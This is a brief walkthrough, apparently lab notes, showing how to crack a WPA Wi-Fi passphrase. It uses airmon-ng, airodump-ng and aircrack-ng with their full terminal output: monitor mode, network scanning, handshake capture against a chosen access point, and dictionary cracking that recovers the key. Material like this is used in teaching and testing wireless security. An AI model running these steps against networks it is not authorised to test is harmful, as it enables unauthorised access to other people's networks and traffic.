Hack WPA Using Handshake

SETUP

```
root@kali:~# airmon-ng
```

```
PHY Interface Driver Chipset

phy2 wlan0 rtl8187 Realtek Semiconductor Corp. RTL8187
```

```
root@kali:~# iwconfig
```

```
lo        no wireless extensions.

wlan0     IEEE 802.11  ESSID:off/any
          Mode:Managed  Access Point: Not-Associated   Tx-Power=0 dBm
          Retry short limit:7   RTS thr:off   Fragment thr:off
          Encryption key:off
          Power Management:on

eth0      no wireless extensions.
```

TURN ON MONITOR MODE - WIFI

```
root@kali:~# airmon-ng start wlan0
```

```
PHY Interface Driver Chipset

phy2 wlan0 rtl8187 Realtek Semiconductor Corp. RTL8187
```

```
(mac80211 monitor mode vif enabled for [phy2]wlan0 on [phy2]wlan0mon)
(mac80211 station mode vif disabled for [phy2]wlan0)
```

```
root@kali:~# iwconfig
```

```
lo        no wireless extensions.

wlan0mon  IEEE 802.11  Mode:Monitor  Frequency:2.457 GHz  Tx-Power=20 dBm
          Retry short limit:7   RTS thr:off   Fragment thr:off
          Power Management:on

eth0      no wireless extensions.
```

MONITOR WIFI TRAFFIC

```
root@kali:~# airodump-ng wlan0mon
```

```
 CH  6 ][ Elapsed: 12 s ][ 2019-11-18 15:53

 BSSID              PWR  Beacons    #Data, #/s  CH  MB   ENC  CIPHER AUTH E

 18:64:72:61:25:E4   -1        0        0    0   6  -1                    <
 70:3A:0E:38:74:C5  -25        4        0    0   6  195  OPN              U
 70:3A:0E:38:74:C4  -25        5        0    0   6  195  WPA2 CCMP   MGT  e
 70:3A:0E:38:74:C0  -26        3        0    0   6  195  OPN              G
```

```
CC:81:DA:D6:CA:A0  -25        6        0    0   2  130  OPN              W
00:18:39:EC:F4:D8  -23        9        0    0   6   54  WPA  TKIP   PSK  W
00:0F:66:9E:16:46  -23       14        0    0   6   54  WEP  WEP         W
00:1C:10:57:9F:46  -33       13        0    0   6   54  OPN              P
70:3A:0E:20:1D:00  -32        4        0    0   1  195  OPN              G
70:3A:0E:20:1D:05  -32        5        0    0   1  195  OPN              U
70:3A:0E:20:1D:04  -33        5        0    0   1  195  OPN              U
70:3A:0E:20:1D:02  -33        3        0    0   1  195  WPA2 CCMP   MGT  e
70:3A:0E:1F:64:E2  -36        1        0    0  11  195  WPA2 CCMP   MGT  e
70:3A:0E:1F:64:E5  -36        3        0    0  11  195  OPN              U
D8:30:62:30:8B:F9  -36       10       32    2  11  130  WPA2 CCMP   PSK  b
70:3A:0E:1F:64:E4  -42        4        0    0  11  195  OPN              U
70:3A:0E:38:74:C3  -38       13        0    0   6  195  OPN              U
70:3A:0E:38:72:83  -46        3        0    0   6  195  OPN              U
04:1E:64:9A:14:D3  -46        3       17    0   1  130  WPA2 CCMP   PSK  x
70:3A:0E:38:72:85  -46        3        0    0   6  195  OPN              U
90:72:40:1B:90:7E  -49        7        0    0   6  195  WPA2 CCMP   PSK  K
68:7F:74:B1:C3:C8  -51        1        0    0   1  130  WPA2 CCMP   PSK  c
70:3A:0E:1F:65:45  -51        3        0    0  11  195  OPN              U
70:3A:0E:1F:65:44  -51        3        0    0  11  195  OPN              U
70:3A:0E:1F:65:40  -52        2        0    0  11  195  OPN              G
70:3A:0E:1F:64:85  -55        3        0    0   1  195  OPN              U
70:3A:0E:1F:64:80  -55        2        0    0   1  195  OPN              G
B0:7F:B9:4B:77:57  -56        6        0    0   8  195  WPA2 CCMP   PSK  <
40:3C:FC:06:97:DD  -58        2        0    0   6  130  WPA2 CCMP   PSK  P
80:8D:B7:D7:68:63  -60        3        0    0  11  130  OPN              G
80:8D:B7:D7:68:60  -60        3        0    0  11  130  OPN              U
38:17:C3:2C:13:43  -61        3        0    0   6  260  OPN              G

BSSID              STATION            PWR   Rate    Lost    Frames  Probe

18:64:72:61:25:E4  68:37:E9:85:F9:9C  -55    0 -24e     9        14
(not associated)   28:16:A8:67:86:8F  -21    0 - 1     14         4
(not associated)   00:0E:00:0C:7B:70  -36    0 - 6      0         2  11n-AP
(not associated)   FA:58:B3:F9:31:86  -40    0 - 1      0         4
(not associated)   30:FD:38:A6:46:A5  -58    0 - 1      0         2  KTC Wo
(not associated)   C0:25:E9:27:B1:46  -58    0 - 1      0         1
(not associated)   D0:77:14:C3:01:02  -60    0 - 1      0         1
(not associated)   CC:95:D7:AC:5E:4F  -62    0 - 1      4         2  UDel
(not associated)   EC:5C:68:37:B6:65  -62    0 - 1      0         1
70:3A:0E:20:1D:02  48:2C:A0:65:E2:CE  -54    0 - 1e     0         3
```

Capture a 4-way Handshake

```
root@kali:~/WPA# airodump-ng -c 6 --bssid 00:18:39:EC:F4:D8 -w . wlan0mon
```

```
 CH  6 ][ Elapsed: 1 min ][ 2019-11-18 16:05 ][ WPA handshake: 00:18:39:EC:

 BSSID              PWR RXQ  Beacons    #Data, #/s  CH  MB   ENC  CIPHER AU

 00:18:39:EC:F4:D8  -20 100      578      585    0   6  54   WPA  TKIP   PS

 BSSID              STATION            PWR   Rate    Lost    Frames  Probe

 00:18:39:EC:F4:D8  A0:C5:89:15:DB:D7  -19   54 -48      0       220
 00:18:39:EC:F4:D8  8C:85:90:4E:3A:67  -22   54 - 1     19       150
```

Crack with Dictionary

```
root@kali:~/WPA# aircrack-ng -a2 -b 00:18:39:EC:F4:D8 -w rockyou.txt WPA-01
```

```
[00:00:00] 1356/7120712 keys tested (3479.53 k/s)

Time left: 34 minutes, 6 seconds                           0.02%

                    KEY FOUND! [ aaaaaaaa ]

Master Key     : 87 74 01 D6 DC E5 FA A6 39 B1 0C D2 85 11 95 26
                 60 57 9E 1F 91 9C D7 12 FC 19 1F F7 75 0C 06 FC

Transient Key  : 89 FC B1 8F EE 76 1F C7 51 E2 3B 18 B8 71 D6 D7
                 D4 B8 77 B8 CF 10 88 8A 04 CD F0 44 BA F8 F5 D6
                 4C EC B9 00 3A A2 43 7B 85 3C 80 00 00 00 00 00
                 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00

EAPOL HMAC     : F6 69 C4 81 A9 36 DF D7 71 2B B3 E5 13 9D 61 C1
```